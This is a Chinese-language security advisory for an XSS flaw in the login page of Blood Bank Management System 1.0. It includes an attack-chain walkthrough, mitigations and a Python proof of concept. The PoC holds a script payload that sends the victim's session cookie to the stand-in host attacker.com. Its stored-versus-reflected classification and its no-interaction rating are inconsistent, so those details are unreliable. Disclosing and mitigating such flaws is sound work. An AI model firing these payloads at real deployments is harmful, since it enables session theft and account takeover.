CVE-2025-63534 Blood Bank Management System 1.0 存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-63534

漏洞类型

XSS（跨站脚本攻击）

CVSS评分

8.5 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Blood Bank Management System 1.0

漏洞概述

CVE-2025-63534是Blood Bank Management System 1.0中存在的一个高危跨站脚本（XSS）漏洞，CVSS评分达到8.5分。该漏洞位于login.php组件中，攻击者可以通过操纵msg和error参数注入恶意JavaScript代码。由于应用程序在处理用户输入时未能对特殊字符进行适当的过滤或编码，恶意脚本会在受害者浏览器中执行，从而窃取会话令牌、劫持用户账户或进行其他恶意操作。此漏洞具有网络可达性，攻击者无需高权限即可发起攻击，且无需用户交互即可成功利用。对于部署了该系统的医疗机构而言，该漏洞可能导致患者数据泄露和系统安全性严重下降。

技术细节

该漏洞属于存储型XSS（Stored XSS）或反射型XSS（Reflected XSS）漏洞，具体表现为应用程序在login.php页面中直接使用用户可控的输入参数（msg和error）而未进行任何输入验证或输出编码。攻击者可以通过构造特定的URL或POST请求，在msg或error参数中注入恶意JavaScript代码，如<script>alert(document.cookie)</script>。当受害者访问包含恶意载荷的页面时，浏览器会将其解析为可执行脚本并执行。攻击者可以利用此漏洞窃取用户的会话cookie、凭据或其他敏感信息，甚至可以通过DOM操作修改页面内容进行钓鱼攻击。由于login.php是身份认证入口点，攻击成功后将直接威胁到整个系统的安全性。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标系统使用的Blood Bank Management System 1.0版本，确认login.php页面存在

STEP 2

步骤2: 载荷构造

攻击者构造恶意JavaScript载荷，如<script>alert(document.cookie)</script>，针对msg或error参数

STEP 3

步骤3: 漏洞触发

通过GET或POST请求将恶意载荷注入到login.php的msg或error参数中

STEP 4

步骤4: 脚本执行

当受害者访问包含恶意载荷的页面时，浏览器解析并执行注入的JavaScript代码

STEP 5

步骤5: 数据窃取

恶意脚本窃取受害者的会话cookie、凭据或进行其他恶意操作

STEP 6

步骤6: 账户劫持

攻击者使用窃取的凭据或会话令牌劫持用户账户，进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2025-63534 PoC - XSS in Blood Bank Management System 1.0 login.php
# Target URL with malicious payload in 'msg' parameter

target_url = "http://target-server/blood_bank/login.php"

# XSS payload to steal cookies
xss_payload = "<script>alert(document.cookie)</script>"
# Alternative payload for cookie stealing
cookie_steal_payload = "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"

# Method 1: GET request with msg parameter
params = {
    'msg': xss_payload
}

print("[*] Sending XSS payload via GET request...")
response = requests.get(target_url, params=params)

if xss_payload in response.text:
    print("[+] Payload reflected in response - XSS vulnerability confirmed!")
    print(f"[+] Response status: {response.status_code}")
else:
    print("[-] Payload not reflected")

# Method 2: POST request with error parameter
data = {
    'error': cookie_steal_payload,
    'username': 'test',
    'password': 'test'
}

print("[*] Sending XSS payload via POST request...")
response = requests.post(target_url, data=data)

if cookie_steal_payload in response.text:
    print("[+] Payload reflected in POST response - XSS vulnerability confirmed!")

影响范围

Blood Bank Management System 1.0

防御指南

临时缓解措施

在正式补丁发布前，可采取以下临时缓解措施：1）使用Web应用防火墙（WAF）规则拦截包含<script>标签和JavaScript事件的请求；2）在反向代理层过滤msg和error参数中的特殊字符；3）临时禁用login.php的错误消息回显功能；4）加强登录页面的监控和日志审计，及时发现异常访问模式。